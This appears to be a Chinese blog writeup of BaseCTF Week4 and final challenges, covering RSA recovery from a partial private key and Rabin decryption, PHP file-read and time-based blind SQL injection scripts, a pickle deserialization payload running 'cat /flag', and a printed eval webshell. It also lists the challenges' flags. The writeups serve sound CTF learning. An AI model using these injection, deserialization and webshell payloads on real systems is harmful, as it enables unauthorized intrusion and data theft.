博主头像
Anna YanamiのBlog

先を見てください、世界は素晴らしい場所です

BaseCTF [Week4][Fin]

Crypto

[Week4] 哎呀数据丢失了

BaseCTF{57e6c35a-2768-49f9-8aca-47a3abcff1c7}
-----BEGIN RSA PRIVATE KEY-----
MIICXAIBAAKBgQC9J4SEEirvmmnsZHKQIZ3tBu3St2EXIbMmhQsvUGDa7tdpQ1Zm
fEecqcy2lp9Pvm3H+mdZrKIdipaogajkoCF3MnV+ZJ1QMZFRH6ltpC7R2i+jvIyc
ZfvZwN1vQwNZrEXkVdMsWw6inSHmR/+A5Qq8u4D3attnAHoE6F2660yPHQIDAQAB
AoGAImXjVVkwca41AQYrR0a1v3r5GM68W0aHm8OqCwqk8mtoxP234p9LLpQ6ZCH0
Cr5onGtPDCG2wYSIbVBW9GyiaQhUDsB7gq1H5meXGgH6xhYuk6f8Ya7VZg+Cauuj
TXiszRj8WeeSFwHxD/UdUog3BrhkKHz9s04wnJOCnSnYZ8kCQQDG4J**********
****************************************************************
****************************************************************
****************************************************************
****************************************************************
****************************************************************
****************************************************************
****************************************************************
-----END RSA PRIVATE KEY-----

打开私钥,发现缺少下半部分,将上半部分进行解析,在最后面加上==进行补齐

from base64 import b64decode
import binascii

s = '''MIICXAIBAAKBgQC9J4SEEirvmmnsZHKQIZ3tBu3St2EXIbMmhQsvUGDa7tdpQ1Zm
fEecqcy2lp9Pvm3H+mdZrKIdipaogajkoCF3MnV+ZJ1QMZFRH6ltpC7R2i+jvIyc
ZfvZwN1vQwNZrEXkVdMsWw6inSHmR/+A5Qq8u4D3attnAHoE6F2660yPHQIDAQAB
AoGAImXjVVkwca41AQYrR0a1v3r5GM68W0aHm8OqCwqk8mtoxP234p9LLpQ6ZCH0
Cr5onGtPDCG2wYSIbVBW9GyiaQhUDsB7gq1H5meXGgH6xhYuk6f8Ya7VZg+Cauuj
TXiszRj8WeeSFwHxD/UdUog3BrhkKHz9s04wnJOCnSnYZ8kCQQDG4J=='''

s = b64decode(s)

print(binascii.hexlify(s))

执行结果

b'3082025c02010002818100bd278484122aef9a69ec647290219ded06edd2b7611721b326850b2f5060daeed7694356667c479ca9ccb6969f4fbe6dc7fa6759aca21d8a96a881a8e4a0217732757e649d503191511fa96da42ed1da2fa3bc8c9c65fbd9c0dd6f430359ac45e455d32c5b0ea29d21e647ff80e50abcbb80f76adb67007a04e85dbaeb4c8f1d02030100010281802265e355593071ae3501062b4746b5bf7af918cebc5b46879bc3aa0b0aa4f26b68c4fdb7e29f4b2e943a6421f40abe689c6b4f0c21b6c184886d5056f46ca26908540ec07b82ad47e667971a01fac6162e93a7fc61aed5660f826aeba34d78accd18fc59e7921701f10ff51d52883706b864287cfdb34e309c93829d29d867c9024100c6e0'

证书中存储的顺序

RSAPrivateKey ::= SEQUENCE {
    version           Version,     0表示两个素数的RSA  1表示多素数的RSA
    modulus           INTEGER,  -- n
    publicExponent    INTEGER,  -- e
    privateExponent   INTEGER,  -- d
    prime1            INTEGER,  -- p
    prime2            INTEGER,  -- q
    exponent1         INTEGER,  -- d mod (p-1)
    exponent2         INTEGER,  -- d mod (q-1)
    coefficient       INTEGER,  -- (inverse of q) mod p
    otherPrimeInfos   OtherPrimeInfos OPTIONAL
}

分析数据

标识头 30
总长度 82 025c
版本信息 0201 00
n 028181 00bd278484122aef9a69ec647290219ded06edd2b7611721b326850b2f5060daeed7694356667c479ca9ccb6969f4fbe6dc7fa6759aca21d8a96a881a8e4a0217732757e649d503191511fa96da42ed1da2fa3bc8c9c65fbd9c0dd6f430359ac45e455d32c5b0ea29d21e647ff80e50abcbb80f76adb67007a04e85dbaeb4c8f1d
e 0203 010001
d 028180 2265e355593071ae3501062b4746b5bf7af918cebc5b46879bc3aa0b0aa4f26b68c4fdb7e29f4b2e943a6421f40abe689c6b4f0c21b6c184886d5056f46ca26908540ec07b82ad47e667971a01fac6162e93a7fc61aed5660f826aeba34d78accd18fc59e7921701f10ff51d52883706b864287cfdb34e309c93829d29d867c9
p 024100 c6e0(不完整)

获得了 n 和 d ,按普通RSA解就行

exp

from Crypto.Util.number import *

n = 0x00bd278484122aef9a69ec647290219ded06edd2b7611721b326850b2f5060daeed7694356667c479ca9ccb6969f4fbe6dc7fa6759aca21d8a96a881a8e4a0217732757e649d503191511fa96da42ed1da2fa3bc8c9c65fbd9c0dd6f430359ac45e455d32c5b0ea29d21e647ff80e50abcbb80f76adb67007a04e85dbaeb4c8f1d
d = 0x2265e355593071ae3501062b4746b5bf7af918cebc5b46879bc3aa0b0aa4f26b68c4fdb7e29f4b2e943a6421f40abe689c6b4f0c21b6c184886d5056f46ca26908540ec07b82ad47e667971a01fac6162e93a7fc61aed5660f826aeba34d78accd18fc59e7921701f10ff51d52883706b864287cfdb34e309c93829d29d867c9

c = bytes_to_long(open("out",'rb+').read())

m = pow(c,d,n)

print(long_to_bytes(m))
#b'BaseCTF{57e6c35a-2768-49f9-8aca-47a3abcff1c7}'

[Week4] rabin

BaseCTF{01c28b9c-7924-4c04-b71d-1cca15342618}
  • 根据题目提示知道是rabin算法
  • e = 4,用寻常的办法解出的m其实是m的平方
  • 所以在常规的情况下再求平方根就行了

exp

from Crypto.Util.number import *
import gmpy2
import libnum

p= 8531212975719216550108614256955774722172741885676113601617182716356239301381951899737237219659253655889636684200345109462928796329670321336864298557778843
q= 7443256287912111739335729314443559886458007838130371799255078565502662459436043455787869631999073617967343884377537828940738213460508765519478956421282871
n= 63500004625039456439237191267891267558404574431112995926594213383621331385226487443753506088788203040258384788149958095020759745138424276657604371402824844725005596890673468964961037168078105356669148960568974603581485045691990626520286184874115519591663033533771400334558853058140717812903874350138362098253
c= 51452608438757130697131508192775727191605112918772187364577097224326062184288501602000700342623122861398852536963355962672293705131887315354242193416090384360837672258861475017098419459125395949090523474744886423754439919504732741712693909507972791203801494594878447921609420574365853676576693694677914169353
e= 4

inv_p = gmpy2.invert(p, q)
inv_q = gmpy2.invert(q, p)

mp = pow(c, (p + 1) // 4, p)
mq = pow(c, (q + 1) // 4, q)
a = (inv_p * p * mq + inv_q * q * mp) % n
b = n - int(a)
c = (inv_p * p * mq - inv_q * q * mp) % n
d = n - int(c)

aa = [a,b,c,d]
for i in aa:
    if gmpy2.iroot(i,2)[1]:
        print(libnum.n2s(int(gmpy2.iroot(i, 2)[0])))
#BaseCTF{01c28b9c-7924-4c04-b71d-1cca15342618}

[Week4] extendmd5

BaseCTF{d90b67cb-b08c-4f00-bfc2-40b05f52b6ec}
from Crypto.Util.number import *
import hashlib
import socketserver
import os
import random 
flag = os.getenv('GZCTF_FLAG')


class Task(socketserver.BaseRequestHandler):
    def _recvall(self):
        BUFF_SIZE = 2048
        data = b''
        while True:
            part = self.request.recv(BUFF_SIZE)
            data += part
            if len(part) < BUFF_SIZE:
                break
        return data.strip()

    def send(self, msg, newline=True):
        try:
            if newline:
                msg += b'\n'
            self.request.sendall(msg)
        except:
            pass

    def recv(self):
        return self._recvall()

    def my_md5(self,text):
        mymd5=hashlib.md5()
        mymd5.update(text)
        return mymd5.hexdigest()
    def handle(self):
        for _ in range(100):
            c=random.randint(32,63)
            want=random.randbytes(c)
            want_md5=self.my_md5(want)
            self.send(want_md5.encode())

            while True:
                self.send(b"\nPlease input the secret:")
                secret = self.recv()

                final=want+secret
                final_md5=self.my_md5(final)

                self.send(b"\nPlease input your md5:")
                your_md5=self.recv().decode()
                if final_md5 == your_md5:
                    self.send(b'correct!')
                    break
                else :
                    self.send(b'wrong!')
    
        self.send(flag.encode())
        self.send(b"\nConnection has been closed  =.=  ")
        self.request.close()


class ThreadedServer(socketserver.ThreadingMixIn, socketserver.TCPServer):
    pass


class ForkedServer(socketserver.ForkingMixIn, socketserver.TCPServer):
    pass


if __name__ == "__main__":
    HOST, PORT = '0.0.0.0', 9999
    server = ForkedServer((HOST, PORT), Task)
    server.allow_reuse_address = True
    server.serve_forever()

分析源码

  • 随机生成字节mant并输出对应的md5
  • 让你输入字符并与want生成新的md5
  • 让你输入md5与新的md5进行做比较
  • 两个md5相等就跳出死循环,条件达成100次就输出flag
def _recvall(self):
        BUFF_SIZE = 2048
        data = b''
        while True:
            part = self.request.recv(BUFF_SIZE)
            data += part
            if len(part) < BUFF_SIZE:
                break
        return data.strip()
  • 这个接收函数会再最后去除字符串两端的特定字符集或空白字符,比如空格
  • 所以我们只要输入空格再输入他发出的md5就能达成条件

exp

from pwn import *
import base64
re = remote("challenge.basectf.fun",33472)
for i in range(100):
    str1=re.recvline()
    re.recvline()
    re.recvline()
    re.sendline(b' ')
    re.recvline()
    re.recvline()
    re.sendline(str1)
    re.recvline()
flag=re.recvline()
print(flag)

image-20240905234957615
image-20240905234957615

[Fin] の歪来

BaseCTF{e_d0u_hu1_4_w@i_lal}
import gmpy2
from Crypto.Util.number import *
import libnum

flag=b''
assert len(flag)==28
m=bytes_to_long(flag)

n=getPrime(2048)
e=32

c=pow(m,e,n)

print("n =",n)
print("e =",e)
print("c =",c)

分析源码:

  • e = 32 比较小且不是素数
  • n 是 素数 且特别大
  • e 和 phi不互素
  • flag 的长度为28位,也就是223bit 满足m < n

$$ gcd(e,n−1)=32 \\ (m^{32})^{\frac{n-1}{32}} = c \ mod \ n \\ 求\frac{n-1}{32} 的逆元,计算c ^{d′} = m^{32} \ mod \ n $$

那么,就可以在模n有限域下开根求解
exp

from Crypto.Util.number import *
import gmpy2
n = 17363249226879909675667629533972233798566313669420563155296918020175446973456428454735263489044575257132690882883587342817653451483222705760704890265900885255972067349104579938808591608382992680533327518070878297438339884996059309549300942570104747348751766711833983705979880714174709047335147739991850385244159235504375559144283494800573079055547597410783559965162216203307100248001158445665271438067670522510991047688414176659907164436539491205637933681658814267567385232097679554282863595183422504494357205180093828786415060565003183966959273253039416986816444073158723191290806413175478175738266995214965220231649
e = 32
c = 6840453756562205147103219479843999687625029691496635689045074720240615321966887831642035124198445485320265097191334720798522097422084141332044111764558336174743819347952914775206809737198058220362381349481027893609144697054465070779290329222696236671374412706789862193871687821041053566873553189148668599841084370137084893575567622972476409755187388121177923217208552049876944055745912987536390075417261016809335539362984984190264791744790640858201038207982043569204062714722892105134794280417020318408200038144689432974312283915592134911446185412636709207566063730723406969727969141426530341540330398465744403597273

_gcd = gmpy2.gcd(e,(n-1))
d = gmpy2.invert(e//_gcd,n-1)
m_32 = pow(c,d,n)

P.<x> = PolynomialRing(Zmod(n),implementation='NTL')
e = _gcd
f = x^e - m_32
mqs = f.monic().roots()
for i in mqs:
    flag = long_to_bytes(int(i[0]))
    if b'Base' in flag:
        print(flag)
#BaseCTF{e_d0u_hu1_4_w@i_lal}

Web

[Week4] flag直接读取不就行了?

BaseCTF{61c1a391-6909-427a-84fd-d4fd0cbf5e2b}
<?php
highlight_file('index.php');
# 我把flag藏在一个secret文件夹里面了,所以要学会遍历啊~
error_reporting(0);
$J1ng = $_POST['J'];
$Hong = $_POST['H'];
$Keng = $_GET['K'];
$Wang = $_GET['W'];
$dir = new $Keng($Wang);
foreach($dir as $f) {
    echo($f . '<br>');
}
echo new $J1ng($Hong);
?>

分析源代码,通过 下面这段代码可以实现遍历目录

$dir = new $Keng($Wang);
foreach($dir as $f) {
    echo($f . '<br>');
}
  • Get参数为K=DirectoryIteratorW=目标路径
  • Post参数为J=SplFileObject&H=目标路径
  • 遍历了网站的所有路径没有发现secret文件夹,最后在根目录发现了该文件夹
  • 在该文件夹中发现了一个名叫f11444g.php的文件

image-20240905155729558
image-20240905155729558

尝试读取flag,发现没有显示,查看原始数据,发现了flag

image-20240905155938873
image-20240905155938873

only one sql

BaseCTF{43b7ed9a-8212-4c64-aa9a-9adc18de6a5c}
<?php
highlight_file(__FILE__);
$sql = $_GET['sql'];
if (preg_match('/select|;|@|\n/i', $sql)) {
    die("你知道的,不可能有sql注入");
}
if (preg_match('/"|\$|`|\\\\/i', $sql)) {
    die("你知道的,不可能有RCE");
}
//flag in ctf.flag
$query = "mysql -u root -p123456 -e \"use ctf;select '没有select,让你执行一句又如何';" . $sql . "\"";
system($query);

分析源码:

  • select被禁用
  • 已经切换到ctf库了

传入DESC flag 获得:

Field Type Null Key Default Extra id varchar(300) YES NULL data varchar(300) YES NULL

知道了flag表中有id,data两个字段,猜测flag在data字段

exp

import requests

url = "http://url:port/?sql=UPDATE flag SET id = '1' WHERE substr(data,{p},1) = '{s}' and sleep(5)"

for i in range(1,100):
    for x in range(40,128):
        payload = url.format(s=chr(x),p=i)
        try:
            r = requests.get(payload, timeout=4)
        except:
            print(chr(x),end="")
            if chr(x) =="}":
                exit(0)
            break

运行结果:BASECTF{43B7ED9A-8212-4C64-AA9A-9ADC18DE6A5C}

改为正确格式:BaseCTF{43B7ED9A-8212-4C64-AA9A-9ADC18DE6A5C}

提交发现不正确,改为小写:BaseCTF{43b7ed9a-8212-4c64-aa9a-9adc18de6a5c}

Misc

[Week4] 二维码2-阿喀琉斯之踵

BaseCTF{tH3_cRe4tOr_0f_QR_F0rM4t_1s_a_9en1u5}

附件中的二维码是无法直接解析的,看到有个hint

hint
hint

尝试将纯黑条删除,用qr还是识别不到,但用微信识别成功了,腾讯太强大了

image-20240905172625824
image-20240905172625824

image-20240905172734192
image-20240905172734192

Webshell

BaseCTF{b7cdaf030d59ffed731dca01a1565eeb}

Wireshark打开附件,执行以下操作:文件->导出对象->HTTP对象列表,在其中发现8809kb的,追踪HTTP流,发现是RAR压缩包

image-20240917223037299
image-20240917223037299

保存下来后发现无法直接打开,用010打开压缩包,将 2D 3E 7C 删除后就能打开

image-20240917223458445
image-20240917223458445

解压后发现是网站源码,用D盾扫描一下,发现了一个风险文件hello.php,打开文件

image-20240917223735177
image-20240917223735177

连接密码就是在这两句中,将那段hex转成字符,获得:

http://127.0.0.1/wp-content/themes/twentysixteen/js/ui.js

按路径找到这个文件,发现是一段base64编码

image-20240917224000563
image-20240917224000563

按那php源码中的解码步骤进行解码,最终获得:

@eval($_POST["b7cdaf030d59ffed731dca01a1565eeb"])

[Week4] Pickle Init

BaseCTF{aa3b9599-d7b1-4f55-bced-22950d95e335}
#!/bin/bash
echo "${GZCTF_FLAG}" > /flag
python3 -c "__import__('pickle').loads(__import__('sys').stdin.read(50).encode('ASCII'))"

分析源码:

  • 导入pickle这个模块
  • 读取用户输入的50个字节进行反序列化操作

exp

cos
system
(S'cat /flag'
tR.

一直换行凑到50个字节就行 参考思路

BaseCTF{aa3b9599-d7b1-4f55-bced-22950d95e335}

[Week4] 小cheny的社交

BaseCTF{h4h_y0u_kn0w_ch3ny}

image-20240907141737561
image-20240907141737561

随波逐流检测图片没发现什么问题用StegSolve在Alpha plane 1 发现类似base编码的字符串

image-20240907141839334
image-20240907141839334

MDAxMTAwMTEgMDAxMTEw
MDAgMDAxMTAxMDAgMDAx
MTEwMDAgMDAxMTAxMTAg
MDAxMTAxMDAgMDAxMTAx
MDEgMDAxMTAwMTAgMDAx
MTAwMDAgMDAxMTAxMTE=

解码获得:

00110011 00111000 00110100 00111000 00110110 00110100 00110101 00110010 00110000 00110111

  • 将二进制转化为字符串获得3848645207
  • 起初还以为是什么图片隐写的密码,全试了一遍发现不是
  • 根据题目猜测可能和社交有关
  • 在QQ搜索3848645207,在其空间发现一段神秘字符串

image-20240907142625212
image-20240907142625212

解密获得前半部分flag,解密网站 尊嘟假嘟O.o (zdjd.asia)

image-20240907142717618
image-20240907142717618

在题目作者主页发现博客网站

Screenshot_2024-09-07-14-28-01-831_com.tencent.mo
Screenshot_2024-09-07-14-28-01-831_com.tencent.mo

在博客中发现另一段密文

image-20240907143130052
image-20240907143130052

解密获得另一半

image-20240907143216384
image-20240907143216384

拼接获得完整flagBaseCTF{h4h_y0u_kn0w_ch3ny}

BaseCTF [Week4][Fin]
http://yanami.voin.ink/index.php/archives/5/
本文作者 YunLi
发布时间 2024-09-18
许可协议 CC BY-NC-SA 4.0
发表新评论